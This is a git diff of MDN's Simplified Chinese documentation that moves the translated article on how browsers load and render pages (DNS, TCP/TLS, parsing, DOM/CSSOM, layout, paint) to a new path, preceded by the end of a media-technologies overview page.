<video> 元素是 Web 上下文中视频内容的端点。其可以简单地用于呈现视频,亦或是流式视频的目标。<video> 也可以用于连接媒体 API 和其他 HTML 与 DOM 技术,比如 {{HTMLElement("canvas")}} (用于抓取并控制框中内容),例如,可以通过 JavaScript {{domxref("HTMLVideoElement")}} 对象访问。
+
{{HTMLElement("track")}}
+
<track> 元素可以被放置在 {{HTMLElement("audio")}} 或者 {{HTMLElement("video")}} 元素内部,当在媒体播放时,以提供 WebVTT 格式化字幕或标题轨道的参考。可以通过 JavaScript {{domxref("HTMLTrackElement")}} 对象访问。
+
{{HTMLElement("source")}}
+
<source> 元素可以放在 {{HTMLElement("audio")}} 或者 {{HTMLElement("video")}} 元素内部,以指定当前显示的源媒体。可以使用多个不同格式、大小、分辨率的媒体源。可以从通过 JavaScript {{domxref("HTMLSourceElement")}} 对象中访问。
+
+ +

API

+ +
+
媒体捕获和流媒体 API
+
使得串流、播放和控制本地和网络媒体成为可能的 API 参考文献。包括使用本地摄像头与麦克风来抓取视频、音频和静止图片。
+
网络音频 API
+
网络音频 API 允许您生成、过滤并调节实时与预录的音频材料,并将其发送至 <audio> 元素、媒体流或磁盘中。
+
WebRTC
+
WebRTC (网页即时通信) 可以使互联网上任意两位用户在无需媒介的情况下中串流实时音频、视频和任意数据。
+
+
+ +
+

指南

+ +
+
Web 上的媒体技术概览
+
概览提供音频、视频播放与录制的开放网络技术和 API。若您不了解该使用哪种 API,这就是您的开始。
+
Web 设计中的媒体无障碍指南
+
在本指南中,我们将介绍 web 设计人员和开发人员创建的内容能让具有不同能力的人可以访问的方法。这个范围包括从 {{HTMLElement("image")}} 元素上简单地使用 {{htmlattrxref("alt", "img")}} 属性到为屏幕阅读者提供字幕标记的媒体。
+
Web 媒体类型和格式指南
+
关于文件类型和编解码器对于 web 上的图像、音频和视频媒体有效的指南。这包括使用何种格式处理什么内容的建议、最佳实践,以及如何提供后备方案和如何对媒体类型进行优先排序,还包括针对每个媒体容器和编解码器的一般浏览器支持信息。
+
媒体和 Web 音频 APIs 自动播放指南
+
出乎意料的自动播放媒体或音频对用户来说可能是一个不受欢迎的惊喜。虽然自动播放是有目的的,但应该谨慎使用。为了让用户控制这一点,许多浏览器现在都提供了自动播放阻塞的形式。本文是关于自动播放的指南,提供了一些技巧,告诉您何时以及如何使用它,以及如何使用浏览器优雅地处理自动播放阻塞。
+
+ +
+
+ +

其他主题

+ +

您可能会感兴趣的相关主题,这些技术可以用有趣的方式与媒体 API 共同使用。

+ +
+
Canvas API
+
Canvas API 允许您在 {{HTMLElement("canvas")}} 上绘画、操纵并改变图像内容。这样可以与媒体以多种方式使用,包括设置 <canvas> 元素作为视频播放或摄像头捕获的终点以捕获或操纵视频帧。
+
WebGL
+
WebGL 在已存在的 Canvas API 上提供了与 OpenGL ES 兼容的 API,使得在 Web 上制作强大的 3D 图像成为可能。通过一张画布,这可以用于为媒体内容添加 3D 图像。
+
WebVR
+
Web Virtual Reality API 支持虚拟现实 (VR) 设备,如 Oculus Rift 或 HTC Vive,使开发人员能够将用户的位置和移动转换为 3D 场景中的移动,然后在设备上显示。WebVR 有望逐渐被 WebXR 所取代,后者涵盖了更广泛的用例。
+
WebXR
+
WebXR 旨在最终取代 WebVR,是一种支持创建虚拟现实 (VR) 和增强现实 (AR) 内容的技术。混合现实内容可以显示在设备的屏幕上,或者是显示在目镜或耳机内。
+
+
+
diff --git a/files/zh-cn/web/performance/how_browsers_work/index.html b/files/zh-cn/web/performance/how_browsers_work/index.html new file mode 100644 index 0000000000..71e4bce57e --- /dev/null +++ b/files/zh-cn/web/performance/how_browsers_work/index.html @@ -0,0 +1,204 @@ +--- +title: 渲染页面:浏览器的工作原理 +slug: Web/Performance/浏览器渲染页面的工作原理 +translation_of: Web/Performance/How_browsers_work +--- +

页面内容快速加载和流畅的交互是用户希望得到的Web体验,因此,开发者应力争实现这两个目标。

+ +

了解如何提升性能和感知性能,有助于了解浏览器的工作原理。

+ +

概述

+ +

快速响应的网站提供更好的用户体验。用户期待内容快速加载和交互流畅的Web体验

+ +

等待资源加载时间和大部分情况下的浏览器单线程执行是影响Web性能的两大主要原因。

+ +

等待时间是需要去克服来让浏览器快速加载资源的主要威胁. 为了实现快速加载,开发者的目标就是尽可能快的发送请求的信息,至少看起来相当快。网络等待时间是在链路上传送二进制到电脑端所消耗的链路传输时间。 Web性能优化需要做的就是尽可能快的使页面加载完成。

+ +

大部分情况下,浏览器是单线程执行的。为了有流畅的交互 ,开发者的目标是确保网站从流畅的页面滚动到点击响应的交互性能。渲染时间是关键要素,确保主线程可以完成所有给它的任务并且仍然一直可以处理用户的交互。通过了解浏览器单线程的本质与最小化主线程的责任可以优化Web性能,来确保渲染的流畅和交互响应的及时。

+ +

导航

+ +

导航是加载web页面的第一步。它发生在以下情形:用户通过在地址栏输入一个URL、点击一个链接、提交表单或者是其他的行为

+ +

web性能优化的目标之一就是缩短导航完成所花费的时间,在理想情况下,它通常不会花费太多的时间,但是等待时间和带宽会导致它的延时。

+ +

DNS 查找

+ +

对于一个web页面来说导航的第一步是要去寻找页面资源的位置。如果导航到https://example.com, HTML页面 被定为到IP地址为 93.184.216.34 的服务器。如果以前没有访问过这个网站,就需要进行DNS查找。

+ +

浏览器通过服务器名称请求DNS进行查找,最终返回一个IP地址,第一次初始化请求之后,这个IP地址可能会被缓存一段时间,这样可以通过从缓存里面检索IP地址而不是再通过域名服务器进行查找来加速后续的请求

+ +

通过主机名加载一个页面通常仅需要DNS查找一次.。但是, DNS需要对不同的页面指向的主机名进行查找。如果fonts, images, scripts, ads, and metrics 都不同的主机名,DNS会对每一个进行查找。

+ +

Mobile requests go first to the cell tower, then to a central phone company computer before being sent to the internet

+ +

DNS查找对于性能来说是一个问题,特别是对于移动网络。当一个用户用的是移动网络,每一个DNS查找必须从手机发送到信号塔,然后到达一个认证DNS服务器。手机、信号塔、域名服务器之间的距离可能是一个大的时间等待。

+ +

TCP Handshake

+ +

一旦获取到服务器IP地址,浏览器就会通过TCP”三次握手“与服务器建立连接。这个机制的是用来让两端尝试进行通信—浏览器和服务器在发送数据之前,通过上层协议Https可以协商网络TCP套接字连接的一些参数。

+ +

TCP的”三次握手“技术经常被称为”SYN-SYN-ACK“—更确切的说是 SYN, SYN-ACK, ACK—因为通过TCP首先发送了三个消息进行协商,开始一个TCP会话在两台电脑之间。 是的,这意味着每台服务器之间还要来回发送三条消息,而请求尚未发出。

+ +

TLS 协商

+ +

为了在HTTPS上建立安全连接,另一种握手是必须的。更确切的说是TLS协商 ,它决定了什么密码将会被用来加密通信,验证服务器,在进行真实的数据传输之前建立安全连接。在发送真正的请求内容之前还需要三次往返服务器。

+ +

The DNS lookup, the TCP handshake, and 5 steps of the TLS handshake including clienthello, serverhello and certificate, clientkey and finished for both server and client.

+ +

虽然建立安全连接对增加了加载页面的等待时间,对于建立一个安全的连接来说,以增加等待时间为代价是值得的,因为在浏览器和web服务器之间传输的数据不可以被第三方解密。

+ +

经过8次往返,浏览器终于可以发出请求。

+ +

响应

+ +

一旦我们建立了到web服务器的连接,浏览器就代表用户发送一个初始的HTTP GET请求,对于网站来说,这个请求通常是一个HTML文件。 一旦服务器收到请求,它将使用相关的响应头和HTML的内容进行回复。

+ +
<!doctype HTML>
+<html>
+ <head>
+  <meta charset="UTF-8"/>
+  <title>My simple page</title>
+  <link rel="stylesheet" src="styles.css"/>
+  <script src="myscript.js"></script>
+</head>
+<body>
+  <h1 class="heading">My Page</h1>
+  <p>A paragraph with a <a href="https://example.com/about">link</a></p>
+  <div>
+    <img src="myimage.jpg" alt="image description"/>
+  </div>
+  <script src="anotherscript.js"></script>
+</body>
+</html>
+ +

初始请求的响应包含所接收数据的第一个字节。”Time to First Byte“ (TTFB)是用户通过点击链接进行请求与收到第一个HTML包之间的时间。第一块内容通常是14kb的数据。

+ +

上面的例子中,这个请求肯定是小于14kb的,但是直到浏览器在解析阶段遇到链接时才会去请求链接的资源,下面有进行描述。

+ +

TCP 慢开始 / 14kb 规则

+ +

第一个响应包是14kb大小。这是慢开始的一部分,慢开始是一种均衡网络连接速度的算法。慢开始逐渐增加发送数据的数量直到达到网络的最大带宽。

+ +

在"TCP slow start"中,在收到初始包之后, 服务器会将下一个包的大小加倍到大约28kb。 后续的包依次是前一个包大小的二倍直到达到预定的阈值,或者遇到拥塞。

+ +

TCP slow start

+ +

如果您听说过初始页面加载的14Kb规则,TCP慢开始就是初始响应为14Kb的原因,也是为什么web性能优化需要将此初始14Kb响应作为优化重点的原因。TCP慢开始逐渐建立适合网络能力的传输速度,以避免拥塞。

+ +

拥塞控制

+ +

当服务器用TCP包来发送数据时,客户端通过返回确认帧来确认传输。由于硬件和网络条件,连接的容量是有限的。 如果服务器太快地发送太多的包,它们可能会被丢弃。意味着,将不会有确认帧的返回。服务器把它们当做确认帧丢失。拥塞控制算法使用这个发送包和确认帧流来确定发送速率。

+ +

解析

+ +

一旦浏览器收到数据的第一块,它就可以开始解析收到的信息。“推测性解析”,“解析”是浏览器将通过网络接收的数据转换为DOM和CSSOM的步骤,通过渲染器把DOM和CSSOM在屏幕上绘制成页面。

+ +

DOM是浏览器标记的内部表示。DOM也是被暴露的,可以通过JavaScript中的各种API进行DOM操作。

+ +

即使请求页面的HTML大于初始的14KB数据包,浏览器也将开始解析并尝试根据其拥有的数据进行渲染。这就是为什么在前14Kb中包含浏览器开始渲染页面所需的所有内容,或者至少包含页面模板(第一次渲染所需的CSS和HTML)对于web性能优化来说是重要的。但是在渲染到屏幕上面之前,HTML、CSS、JavaScript必须被解析完成。

+ +

构建DOM树

+ +

我们描述五个步骤在这篇文章中 critical rendering path.

+ +

第一步是处理HTML标记并构造DOM树。HTML解析涉及到 tokenization 和树的构造。HTML标记包括开始和结束标记,以及属性名和值。 如果文档格式良好,则解析它会简单而快速。解析器将标记化的输入解析到文档中,构建文档树。

+ +

DOM树描述了文档的内容。<html>元素是第一个标签也是文档树的根节点。树反映了不同标记之间的关系和层次结构。嵌套在其他标记中的标记是子节点。DOM节点的数量越多,构建DOM树所需的时间就越长。

+ +

The DOM tree for our sample code, showing all the nodes, including text nodes.

+ +

当解析器发现非阻塞资源,例如一张图片,浏览器会请求这些资源并且继续解析。当遇到一个CSS文件时,解析也可以继续进行,但是对于<script>标签(特别是没有 async 或者 defer 属性)会阻塞渲染并停止HTML的解析。尽管浏览器的预加载扫描器加速了这个过程,但过多的脚本仍然是一个重要的瓶颈。

+ +

预加载扫描器

+ +

浏览器构建DOM树时,这个过程占用了主线程。当这种情况发生时,预加载扫描仪将解析可用的内容并请求高优先级资源,如CSS、JavaScript和web字体。多亏了预加载扫描器,我们不必等到解析器找到对外部资源的引用来请求它。它将在后台检索资源,以便在主HTML解析器到达请求的资源时,它们可能已经在运行,或者已经被下载。预加载扫描仪提供的优化减少了阻塞。

+ +
<link rel="stylesheet" src="styles.css"/>
+<script src="myscript.js" async></script>
+<img src="myimage.jpg" alt="image description"/>
+<script src="anotherscript.js" async></script>
+
+ +

在这个例子中,当主线程在解析HTML和CSS时,预加载扫描器将找到脚本和图像,并开始下载它们。为了确保脚本不会阻塞进程,当JavaScript解析和执行顺序不重要时,可以添加async属性或defer属性。

+ +

等待获取CSS不会阻塞HTML的解析或者下载,但是它的确阻塞JavaScript,因为JavaScript经常用于查询元素的CSS属性。

+ +

构建CSSOM树

+ +

第二步是处理CSS并构建CSSOM树。CSS对象模型和DOM是相似的。DOM和CSSOM是两棵树. 它们是独立的数据结构。浏览器将CSS规则转换为可以理解和使用的样式映射。浏览器遍历CSS中的每个规则集,根据CSS选择器创建具有父、子和兄弟关系的节点树。

+ +

与HTML一样,浏览器需要将接收到的CSS规则转换为可以使用的内容。因此,它重复了HTML到对象的过程,但对于CSS。

+ +

CSSOM树包括来自用户代理样式表的样式。浏览器从适用于节点的最通用规则开始,并通过应用更具体的规则递归地优化计算的样式。换句话说,它级联属性值。

+ +

构建CSSOM非常非常快,并且在当前的开发工具中没有以独特的颜色显示。相反,开发人员工具中的“重新计算样式”显示解析CSS、构造CSSOM树和递归计算计算样式所需的总时间。在web性能优化方面,它是可轻易实现的,因为创建CSSOM的总时间通常小于一次DNS查找所需的时间。

+ +

其他过程

+ +

JavaScript 编译

+ +

当CSS被解析并创建CSSOM时,其他资源,包括JavaScript文件正在下载(多亏了preload scanner)。JavaScript被解释、编译、解析和执行。脚本被解析为抽象语法树。一些浏览器引擎使用”Abstract Syntax Tree“并将其传递到解释器中,输出在主线程上执行的字节码。这就是所谓的JavaScript编译。

+ +

构建辅助功能树

+ +

浏览器还构建辅助设备用于分析和解释内容的辅助功能(accessibility )树。可访问性对象模型(AOM)类似于DOM的语义版本。当DOM更新时,浏览器会更新辅助功能树。辅助技术本身无法修改可访问性树。

+ +

在构建AOM之前,屏幕阅读器(screen readers)无法访问内容。

+ +

渲染

+ +

渲染步骤包括样式、布局、绘制,在某些情况下还包括合成。在解析步骤中创建的CSSOM树和DOM树组合成一个Render树,然后用于计算每个可见元素的布局,然后将其绘制到屏幕上。在某些情况下,可以将内容提升到它们自己的层并进行合成,通过在GPU而不是CPU上绘制屏幕的一部分来提高性能,从而释放主线程。

+ +

Style

+ +

第三步是将DOM和CSSOM组合成一个Render树,计算样式树或渲染树从DOM树的根开始构建,遍历每个可见节点。

+ +

像<head>和它的子节点以及任何具有display: none样式的结点,例如script { display: none; }(在user agent stylesheets可以看到这个样式)这些标签将不会显示,也就是它们不会出现在Render树上。具有visibility: hidden的节点会出现在Render树上,因为它们会占用空间。由于我们没有给出任何指令来覆盖用户代理默认值,因此上面代码示例中的script节点将不会包含在Render树中。

+ +

每个可见节点都应用了其CSSOM规则。Render树保存所有具有内容和计算样式的可见节点——将所有相关样式匹配到DOM树中的每个可见节点,并根据CSS级联确定每个节点的计算样式。

+ +

Layout

+ +

第四步是在渲染树上运行布局以计算每个节点的几何体。布局是确定呈现树中所有节点的宽度、高度和位置,以及确定页面上每个对象的大小和位置的过程。回流是对页面的任何部分或整个文档的任何后续大小和位置的确定。

+ +

构建渲染树后,开始布局。渲染树标识显示哪些节点(即使不可见)及其计算样式,但不标识每个节点的尺寸或位置。为了确定每个对象的确切大小和位置,浏览器从渲染树的根开始遍历它。

+ +

在网页上,大多数东西都是一个盒子。不同的设备和不同的桌面意味着无限数量的不同的视区大小。在此阶段,考虑到视区大小,浏览器将确定屏幕上所有不同框的尺寸。以视区的大小为基础,布局通常从body开始,用每个元素的框模型属性排列所有body的子孙元素的尺寸,为不知道其尺寸的替换元素(例如图像)提供占位符空间。

+ +

第一次确定节点的大小和位置称为布局。随后对节点大小和位置的重新计算称为回流。在我们的示例中,假设初始布局发生在返回图像之前。由于我们没有声明图像的大小,因此一旦知道图像大小,就会有回流。

+ +

Paint

+ +

最后一步是将各个节点绘制到屏幕上,第一次出现的节点称为first meaningful paint。在绘制或光栅化阶段,浏览器将在布局阶段计算的每个框转换为屏幕上的实际像素。绘画包括将元素的每个可视部分绘制到屏幕上,包括文本、颜色、边框、阴影和替换的元素(如按钮和图像)。浏览器需要非常快地完成这项工作。

+ +

为了确保平滑滚动和动画,占据主线程的所有内容,包括计算样式,以及回流和绘制,必须让浏览器在16.67毫秒内完成。在2048x 1536,iPad有超过314.5万像素将被绘制到屏幕上。那是很多像素需要快速绘制。为了确保重绘的速度比初始绘制的速度更快,屏幕上的绘图通常被分解成数层。如果发生这种情况,则需要进行合成。

+ +

绘制可以将布局树中的元素分解为多个层。将内容提升到GPU上的层(而不是CPU上的主线程)可以提高绘制和重新绘制性能。有一些特定的属性和元素可以实例化一个层,包括<video>和<canvas>,任何CSS属性为opacity、3D转换、will-change的元素,还有一些其他元素。这些节点将与子节点一起绘制到它们自己的层上,除非子节点由于上述一个(或多个)原因需要自己的层。

+ +

层确实可以提高性能,但是它以内存管理为代价,因此不应作为web性能优化策略的一部分过度使用。

+ +

Compositing

+ +

当文档的各个部分以不同的层绘制,相互重叠时,必须进行合成,以确保它们以正确的顺序绘制到屏幕上,并正确显示内容。

+ +

当页面继续加载资产时,可能会发生回流(回想一下我们迟到的示例图像),回流会触发重新绘制和重新组合。如果我们定义了图像的大小,就不需要重新绘制,只需要重新绘制需要重新绘制的层,并在必要时进行合成。但我们没有包括图像大小!从服务器获取图像后,渲染过程将返回到布局步骤并从那里重新开始。

+ +

交互

+ +

一旦主线程绘制页面完成,你会认为我们已经“准备好了”,但事实并非如此。如果加载包含JavaScript(并且延迟到onload事件激发后执行),则主线程可能很忙,无法用于滚动、触摸和其他交互。

+ +

”Time to Interactive“(TTI)是测量从第一个请求导致DNS查找和SSL连接到页面可交互时所用的时间——可交互是”First Contentful Paint“之后的时间点,页面在50ms内响应用户的交互。如果主线程正在解析、编译和执行JavaScript,则它不可用,因此无法及时(小于50ms)响应用户交互。

+ +

在我们的示例中,可能图像加载很快,但anotherscript.js文件可能是2 MB,而且用户的网络连接很慢。在这种情况下,用户可以非常快地看到页面,但是在下载、解析和执行脚本之前,就无法滚动。这不是一个好的用户体验。避免占用主线程,如下面的WebPageTest示例所示:

+ +

The main thread is occupied by the downloading, parsing and execution of a  javascript file - over a fast connection

+ +

在本例中,DOM内容加载过程花费了1.5秒多的时间,主线程在这段时间内完全被占用,对单击事件或屏幕点击没有响应。

+ +

See Also

+ + diff --git "a/files/zh-cn/web/performance/\346\265\217\350\247\210\345\231\250\346\270\262\346\237\223\351\241\265\351\235\242\347\232\204\345\267\245\344\275\234\345\216\237\347\220\206/index.html" "b/files/zh-cn/web/performance/\346\265\217\350\247\210\345\231\250\346\270\262\346\237\223\351\241\265\351\235\242\347\232\204\345\267\245\344\275\234\345\216\237\347\220\206/index.html" deleted file mode 100644 index 71e4bce57e..0000000000 --- "a/files/zh-cn/web/performance/\346\265\217\350\247\210\345\231\250\346\270\262\346\237\223\351\241\265\351\235\242\347\232\204\345\267\245\344\275\234\345\216\237\347\220\206/index.html" +++ /dev/null @@ -1,204 +0,0 @@ ---- -title: 渲染页面:浏览器的工作原理 -slug: Web/Performance/浏览器渲染页面的工作原理 -translation_of: Web/Performance/How_browsers_work ---- -

页面内容快速加载和流畅的交互是用户希望得到的Web体验,因此,开发者应力争实现这两个目标。

- -

了解如何提升性能和感知性能,有助于了解浏览器的工作原理。

- -

概述

- -

快速响应的网站提供更好的用户体验。用户期待内容快速加载和交互流畅的Web体验

- -

等待资源加载时间和大部分情况下的浏览器单线程执行是影响Web性能的两大主要原因。

- -

等待时间是需要去克服来让浏览器快速加载资源的主要威胁. 为了实现快速加载,开发者的目标就是尽可能快的发送请求的信息,至少看起来相当快。网络等待时间是在链路上传送二进制到电脑端所消耗的链路传输时间。 Web性能优化需要做的就是尽可能快的使页面加载完成。

- -

大部分情况下,浏览器是单线程执行的。为了有流畅的交互 ,开发者的目标是确保网站从流畅的页面滚动到点击响应的交互性能。渲染时间是关键要素,确保主线程可以完成所有给它的任务并且仍然一直可以处理用户的交互。通过了解浏览器单线程的本质与最小化主线程的责任可以优化Web性能,来确保渲染的流畅和交互响应的及时。

- -

导航

- -

导航是加载web页面的第一步。它发生在以下情形:用户通过在地址栏输入一个URL、点击一个链接、提交表单或者是其他的行为

- -

web性能优化的目标之一就是缩短导航完成所花费的时间,在理想情况下,它通常不会花费太多的时间,但是等待时间和带宽会导致它的延时。

- -

DNS 查找

- -

对于一个web页面来说导航的第一步是要去寻找页面资源的位置。如果导航到https://example.com, HTML页面 被定为到IP地址为 93.184.216.34 的服务器。如果以前没有访问过这个网站,就需要进行DNS查找。

- -

浏览器通过服务器名称请求DNS进行查找,最终返回一个IP地址,第一次初始化请求之后,这个IP地址可能会被缓存一段时间,这样可以通过从缓存里面检索IP地址而不是再通过域名服务器进行查找来加速后续的请求

- -

通过主机名加载一个页面通常仅需要DNS查找一次.。但是, DNS需要对不同的页面指向的主机名进行查找。如果fonts, images, scripts, ads, and metrics 都不同的主机名,DNS会对每一个进行查找。

- -

Mobile requests go first to the cell tower, then to a central phone company computer before being sent to the internet

- -

DNS查找对于性能来说是一个问题,特别是对于移动网络。当一个用户用的是移动网络,每一个DNS查找必须从手机发送到信号塔,然后到达一个认证DNS服务器。手机、信号塔、域名服务器之间的距离可能是一个大的时间等待。

- -

TCP Handshake

- -

一旦获取到服务器IP地址,浏览器就会通过TCP”三次握手“与服务器建立连接。这个机制的是用来让两端尝试进行通信—浏览器和服务器在发送数据之前,通过上层协议Https可以协商网络TCP套接字连接的一些参数。

- -

TCP的”三次握手“技术经常被称为”SYN-SYN-ACK“—更确切的说是 SYN, SYN-ACK, ACK—因为通过TCP首先发送了三个消息进行协商,开始一个TCP会话在两台电脑之间。 是的,这意味着每台服务器之间还要来回发送三条消息,而请求尚未发出。

- -

TLS 协商

- -

为了在HTTPS上建立安全连接,另一种握手是必须的。更确切的说是TLS协商 ,它决定了什么密码将会被用来加密通信,验证服务器,在进行真实的数据传输之前建立安全连接。在发送真正的请求内容之前还需要三次往返服务器。

- -

The DNS lookup, the TCP handshake, and 5 steps of the TLS handshake including clienthello, serverhello and certificate, clientkey and finished for both server and client.

- -

虽然建立安全连接对增加了加载页面的等待时间,对于建立一个安全的连接来说,以增加等待时间为代价是值得的,因为在浏览器和web服务器之间传输的数据不可以被第三方解密。

- -

经过8次往返,浏览器终于可以发出请求。

- -

响应

- -

一旦我们建立了到web服务器的连接,浏览器就代表用户发送一个初始的HTTP GET请求,对于网站来说,这个请求通常是一个HTML文件。 一旦服务器收到请求,它将使用相关的响应头和HTML的内容进行回复。

- -
<!doctype HTML>
-<html>
- <head>
-  <meta charset="UTF-8"/>
-  <title>My simple page</title>
-  <link rel="stylesheet" src="styles.css"/>
-  <script src="myscript.js"></script>
-</head>
-<body>
-  <h1 class="heading">My Page</h1>
-  <p>A paragraph with a <a href="https://example.com/about">link</a></p>
-  <div>
-    <img src="myimage.jpg" alt="image description"/>
-  </div>
-  <script src="anotherscript.js"></script>
-</body>
-</html>
- -

初始请求的响应包含所接收数据的第一个字节。”Time to First Byte“ (TTFB)是用户通过点击链接进行请求与收到第一个HTML包之间的时间。第一块内容通常是14kb的数据。

- -

上面的例子中,这个请求肯定是小于14kb的,但是直到浏览器在解析阶段遇到链接时才会去请求链接的资源,下面有进行描述。

- -

TCP 慢开始 / 14kb 规则

- -

第一个响应包是14kb大小。这是慢开始的一部分,慢开始是一种均衡网络连接速度的算法。慢开始逐渐增加发送数据的数量直到达到网络的最大带宽。

- -

在"TCP slow start"中,在收到初始包之后, 服务器会将下一个包的大小加倍到大约28kb。 后续的包依次是前一个包大小的二倍直到达到预定的阈值,或者遇到拥塞。

- -

TCP slow start

- -

如果您听说过初始页面加载的14Kb规则,TCP慢开始就是初始响应为14Kb的原因,也是为什么web性能优化需要将此初始14Kb响应作为优化重点的原因。TCP慢开始逐渐建立适合网络能力的传输速度,以避免拥塞。

- -

拥塞控制

- -

当服务器用TCP包来发送数据时,客户端通过返回确认帧来确认传输。由于硬件和网络条件,连接的容量是有限的。 如果服务器太快地发送太多的包,它们可能会被丢弃。意味着,将不会有确认帧的返回。服务器把它们当做确认帧丢失。拥塞控制算法使用这个发送包和确认帧流来确定发送速率。

- -

解析

- -

一旦浏览器收到数据的第一块,它就可以开始解析收到的信息。“推测性解析”,“解析”是浏览器将通过网络接收的数据转换为DOM和CSSOM的步骤,通过渲染器把DOM和CSSOM在屏幕上绘制成页面。

- -

DOM是浏览器标记的内部表示。DOM也是被暴露的,可以通过JavaScript中的各种API进行DOM操作。

- -

即使请求页面的HTML大于初始的14KB数据包,浏览器也将开始解析并尝试根据其拥有的数据进行渲染。这就是为什么在前14Kb中包含浏览器开始渲染页面所需的所有内容,或者至少包含页面模板(第一次渲染所需的CSS和HTML)对于web性能优化来说是重要的。但是在渲染到屏幕上面之前,HTML、CSS、JavaScript必须被解析完成。

- -

构建DOM树

- -

我们描述五个步骤在这篇文章中 critical rendering path.

- -

第一步是处理HTML标记并构造DOM树。HTML解析涉及到 tokenization 和树的构造。HTML标记包括开始和结束标记,以及属性名和值。 如果文档格式良好,则解析它会简单而快速。解析器将标记化的输入解析到文档中,构建文档树。

- -

DOM树描述了文档的内容。<html>元素是第一个标签也是文档树的根节点。树反映了不同标记之间的关系和层次结构。嵌套在其他标记中的标记是子节点。DOM节点的数量越多,构建DOM树所需的时间就越长。

- -

The DOM tree for our sample code, showing all the nodes, including text nodes.

- -

当解析器发现非阻塞资源,例如一张图片,浏览器会请求这些资源并且继续解析。当遇到一个CSS文件时,解析也可以继续进行,但是对于<script>标签(特别是没有 async 或者 defer 属性)会阻塞渲染并停止HTML的解析。尽管浏览器的预加载扫描器加速了这个过程,但过多的脚本仍然是一个重要的瓶颈。

- -

预加载扫描器

- -

浏览器构建DOM树时,这个过程占用了主线程。当这种情况发生时,预加载扫描仪将解析可用的内容并请求高优先级资源,如CSS、JavaScript和web字体。多亏了预加载扫描器,我们不必等到解析器找到对外部资源的引用来请求它。它将在后台检索资源,以便在主HTML解析器到达请求的资源时,它们可能已经在运行,或者已经被下载。预加载扫描仪提供的优化减少了阻塞。

- -
<link rel="stylesheet" src="styles.css"/>
-<script src="myscript.js" async></script>
-<img src="myimage.jpg" alt="image description"/>
-<script src="anotherscript.js" async></script>
-
- -

在这个例子中,当主线程在解析HTML和CSS时,预加载扫描器将找到脚本和图像,并开始下载它们。为了确保脚本不会阻塞进程,当JavaScript解析和执行顺序不重要时,可以添加async属性或defer属性。

- -

等待获取CSS不会阻塞HTML的解析或者下载,但是它的确阻塞JavaScript,因为JavaScript经常用于查询元素的CSS属性。

- -

构建CSSOM树

- -

第二步是处理CSS并构建CSSOM树。CSS对象模型和DOM是相似的。DOM和CSSOM是两棵树. 它们是独立的数据结构。浏览器将CSS规则转换为可以理解和使用的样式映射。浏览器遍历CSS中的每个规则集,根据CSS选择器创建具有父、子和兄弟关系的节点树。

- -

与HTML一样,浏览器需要将接收到的CSS规则转换为可以使用的内容。因此,它重复了HTML到对象的过程,但对于CSS。

- -

CSSOM树包括来自用户代理样式表的样式。浏览器从适用于节点的最通用规则开始,并通过应用更具体的规则递归地优化计算的样式。换句话说,它级联属性值。

- -

构建CSSOM非常非常快,并且在当前的开发工具中没有以独特的颜色显示。相反,开发人员工具中的“重新计算样式”显示解析CSS、构造CSSOM树和递归计算计算样式所需的总时间。在web性能优化方面,它是可轻易实现的,因为创建CSSOM的总时间通常小于一次DNS查找所需的时间。

- -

其他过程

- -

JavaScript 编译

- -

当CSS被解析并创建CSSOM时,其他资源,包括JavaScript文件正在下载(多亏了preload scanner)。JavaScript被解释、编译、解析和执行。脚本被解析为抽象语法树。一些浏览器引擎使用”Abstract Syntax Tree“并将其传递到解释器中,输出在主线程上执行的字节码。这就是所谓的JavaScript编译。

- -

构建辅助功能树

- -

浏览器还构建辅助设备用于分析和解释内容的辅助功能(accessibility )树。可访问性对象模型(AOM)类似于DOM的语义版本。当DOM更新时,浏览器会更新辅助功能树。辅助技术本身无法修改可访问性树。

- -

在构建AOM之前,屏幕阅读器(screen readers)无法访问内容。

- -

渲染

- -

渲染步骤包括样式、布局、绘制,在某些情况下还包括合成。在解析步骤中创建的CSSOM树和DOM树组合成一个Render树,然后用于计算每个可见元素的布局,然后将其绘制到屏幕上。在某些情况下,可以将内容提升到它们自己的层并进行合成,通过在GPU而不是CPU上绘制屏幕的一部分来提高性能,从而释放主线程。

- -

Style

- -

第三步是将DOM和CSSOM组合成一个Render树,计算样式树或渲染树从DOM树的根开始构建,遍历每个可见节点。

- -

像<head>和它的子节点以及任何具有display: none样式的结点,例如script { display: none; }(在user agent stylesheets可以看到这个样式)这些标签将不会显示,也就是它们不会出现在Render树上。具有visibility: hidden的节点会出现在Render树上,因为它们会占用空间。由于我们没有给出任何指令来覆盖用户代理默认值,因此上面代码示例中的script节点将不会包含在Render树中。

- -

每个可见节点都应用了其CSSOM规则。Render树保存所有具有内容和计算样式的可见节点——将所有相关样式匹配到DOM树中的每个可见节点,并根据CSS级联确定每个节点的计算样式。

- -

Layout

- -

第四步是在渲染树上运行布局以计算每个节点的几何体。布局是确定呈现树中所有节点的宽度、高度和位置,以及确定页面上每个对象的大小和位置的过程。回流是对页面的任何部分或整个文档的任何后续大小和位置的确定。

- -

构建渲染树后,开始布局。渲染树标识显示哪些节点(即使不可见)及其计算样式,但不标识每个节点的尺寸或位置。为了确定每个对象的确切大小和位置,浏览器从渲染树的根开始遍历它。

- -

在网页上,大多数东西都是一个盒子。不同的设备和不同的桌面意味着无限数量的不同的视区大小。在此阶段,考虑到视区大小,浏览器将确定屏幕上所有不同框的尺寸。以视区的大小为基础,布局通常从body开始,用每个元素的框模型属性排列所有body的子孙元素的尺寸,为不知道其尺寸的替换元素(例如图像)提供占位符空间。

- -

第一次确定节点的大小和位置称为布局。随后对节点大小和位置的重新计算称为回流。在我们的示例中,假设初始布局发生在返回图像之前。由于我们没有声明图像的大小,因此一旦知道图像大小,就会有回流。

- -

Paint

- -

最后一步是将各个节点绘制到屏幕上,第一次出现的节点称为first meaningful paint。在绘制或光栅化阶段,浏览器将在布局阶段计算的每个框转换为屏幕上的实际像素。绘画包括将元素的每个可视部分绘制到屏幕上,包括文本、颜色、边框、阴影和替换的元素(如按钮和图像)。浏览器需要非常快地完成这项工作。

- -

为了确保平滑滚动和动画,占据主线程的所有内容,包括计算样式,以及回流和绘制,必须让浏览器在16.67毫秒内完成。在2048x 1536,iPad有超过314.5万像素将被绘制到屏幕上。那是很多像素需要快速绘制。为了确保重绘的速度比初始绘制的速度更快,屏幕上的绘图通常被分解成数层。如果发生这种情况,则需要进行合成。

- -

